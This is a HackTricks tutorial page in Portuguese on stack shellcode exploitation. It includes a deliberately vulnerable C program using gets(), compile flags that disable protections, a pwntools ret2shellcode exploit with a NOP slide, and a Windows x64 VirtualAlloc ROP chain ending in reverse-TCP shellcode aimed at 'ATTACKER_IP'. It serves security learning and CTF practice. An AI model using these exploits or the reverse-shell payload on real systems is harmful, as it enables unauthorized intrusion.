Stack Shellcode
Reading time: 8 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Informações Básicas
Stack shellcode é uma técnica usada em binary exploitation onde um atacante escreve shellcode na stack de um programa vulnerável e então modifica o Instruction Pointer (IP) ou Extended Instruction Pointer (EIP) para apontar para a localização desse shellcode, fazendo com que ele seja executado. Este é um método clássico usado para obter acesso não autorizado ou executar comandos arbitrários em um sistema alvo. Aqui está um resumo do processo, incluindo um exemplo simples em C e como você poderia escrever um exploit correspondente usando Python com pwntools.
Exemplo em C: Um Programa Vulnerável
Vamos começar com um exemplo simples de um programa C vulnerável:
#include <stdio.h>
#include <string.h>
void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}
int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}
Este programa é vulnerável a um buffer overflow devido ao uso da função gets()
.
Compilação
Para compilar este programa enquanto desabilita várias proteções (para simular um ambiente vulnerável), você pode usar o seguinte comando:
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
-fno-stack-protector
: Desabilita a proteção da stack.-z execstack
: Torna a stack executável, o que é necessário para executar shellcode armazenado na stack.-no-pie
: Desabilita Position Independent Executable (PIE), facilitando prever o endereço de memória onde nosso shellcode será localizado.-m32
: Compila o programa como um executável 32-bit, frequentemente usado por simplicidade no desenvolvimento de exploit.
Python Exploit using Pwntools
Aqui está como você poderia escrever um exploit em Python usando pwntools para realizar um ataque ret2shellcode:
from pwn import *
# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture
# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell
# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash
# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload)) # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
# Send the payload
p.sendline(payload)
p.interactive()
Este script constrói um payload consistindo de um NOP slide, o shellcode, e então sobrescreve o EIP com o endereço apontando para o NOP slide, garantindo que o shellcode seja executado.
O NOP slide (asm('nop')
) é usado para aumentar a chance de que a execução "escorregue" para o nosso shellcode independentemente do endereço exato. Ajuste o argumento de p32()
para o endereço inicial do seu buffer mais um offset para cair no NOP slide.
Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode)
Em máquinas Windows modernas a stack é não-executável (DEP/NX). Uma forma comum de ainda executar shellcode residente na stack após um BOF na stack é construir uma cadeia ROP 64-bit que chame VirtualAlloc (ou VirtualProtect) a partir da Import Address Table (IAT) do módulo para tornar uma região da stack executável e então retornar para o shellcode anexado após a cadeia.
Pontos-chave (Win64 calling convention):
- VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
- RCX = lpAddress → escolha um endereço na stack atual (p.ex., RSP) de modo que a região RWX recém-alocada sobreponha seu payload
- RDX = dwSize → grande o suficiente para sua cadeia + shellcode (p.ex., 0x1000)
- R8 = flAllocationType = MEM_COMMIT (0x1000)
- R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40)
- Retorne diretamente para o shellcode colocado logo após a cadeia.
Estratégia mínima:
- Leak a module base (e.g., via a format-string, object pointer, etc.) to compute absolute gadget and IAT addresses under ASLR.
- Encontre gadgets para carregar RCX/RDX/R8/R9 (pop or mov/xor-based sequences) e um call/jmp [VirtualAlloc@IAT]. If you lack direct pop r8/r9, use arithmetic gadgets to synthesize constants (e.g., set r8=0 and repeatedly add r9=0x40 forty times to reach 0x1000).
- Coloque o stage-2 shellcode imediatamente após a cadeia.
Exemplo de layout (conceitual):
# ... padding up to saved RIP ...
# R9 = 0x40 (PAGE_EXECUTE_READWRITE)
POP_R9_RET; 0x40
# R8 = 0x1000 (MEM_COMMIT) — if no POP R8, derive via arithmetic
POP_R8_RET; 0x1000
# RCX = &stack (lpAddress)
LEA_RCX_RSP_RET # or sequence: load RSP into a GPR then mov rcx, reg
# RDX = size (dwSize)
POP_RDX_RET; 0x1000
# Call VirtualAlloc via the IAT
[IAT_VirtualAlloc]
# New RWX memory at RCX — execution continues at the next stack qword
JMP_SHELLCODE_OR_RET
# ---- stage-2 shellcode (x64) ----
Com um conjunto de gadgets limitado, você pode construir valores de registradores indiretamente, por exemplo:
- mov r9, rbx; mov r8, 0; add rsp, 8; ret → definir r9 a partir de rbx, zerar r8, e compensar a pilha com um qword de lixo.
- xor rbx, rsp; ret → inicializar rbx com o ponteiro de pilha atual.
- push rbx; pop rax; mov rcx, rax; ret → mover valor derivado de RSP para RCX.
Esboço em Pwntools (dada uma base conhecida e gadgets):
from pwn import *
base = 0x7ff6693b0000
IAT_VirtualAlloc = base + 0x400000 # example: resolve via reversing
rop = b''
# r9 = 0x40
rop += p64(base+POP_RBX_RET) + p64(0x40)
rop += p64(base+MOV_R9_RBX_ZERO_R8_ADD_RSP_8_RET) + b'JUNKJUNK'
# rcx = rsp
rop += p64(base+POP_RBX_RET) + p64(0)
rop += p64(base+XOR_RBX_RSP_RET)
rop += p64(base+PUSH_RBX_POP_RAX_RET)
rop += p64(base+MOV_RCX_RAX_RET)
# r8 = 0x1000 via arithmetic if no pop r8
for _ in range(0x1000//0x40):
rop += p64(base+ADD_R8_R9_ADD_RAX_R8_RET)
# rdx = 0x1000 (use any available gadget)
rop += p64(base+POP_RDX_RET) + p64(0x1000)
# call VirtualAlloc and land in shellcode
rop += p64(IAT_VirtualAlloc)
rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))
Tips:
-
VirtualProtect funciona de forma semelhante se for preferível tornar um buffer existente RX; a ordem dos parâmetros é diferente.
-
Se o espaço da stack for limitado, aloque RWX em outro lugar (RCX=NULL) e jmp para essa nova região em vez de reutilizar a stack.
-
Sempre considere gadgets que ajustam RSP (e.g., add rsp, 8; ret) inserindo qwords de lixo.
-
ASLR should be disabled para que o endereço seja confiável entre execuções — caso contrário o endereço onde a função será armazenada não será sempre o mesmo e você precisaria de algum leak para descobrir onde a função win foi carregada.
-
Stack Canaries devem também ser desativados ou o endereço de retorno EIP comprometido nunca será seguido.
-
NX stack protection impediria a execução do shellcode dentro da stack porque essa região não será executável.
Outros Exemplos & Referências
- https://ir0nstone.gitbook.io/notes/types/stack/shellcode
- https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html
- 64bit, ASLR com stack address leak, escrever shellcode e saltar para ele
- https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html
- 32 bit, ASLR com stack leak, escrever shellcode e saltar para ele
- https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html
- 32 bit, ASLR com stack leak, comparação para prevenir chamada a exit(), sobrescrever variável com um valor e escrever shellcode e saltar para ele
- https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/
- arm64, sem ASLR, ROP gadget para tornar a stack executável e saltar para o shellcode na stack
Referências
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.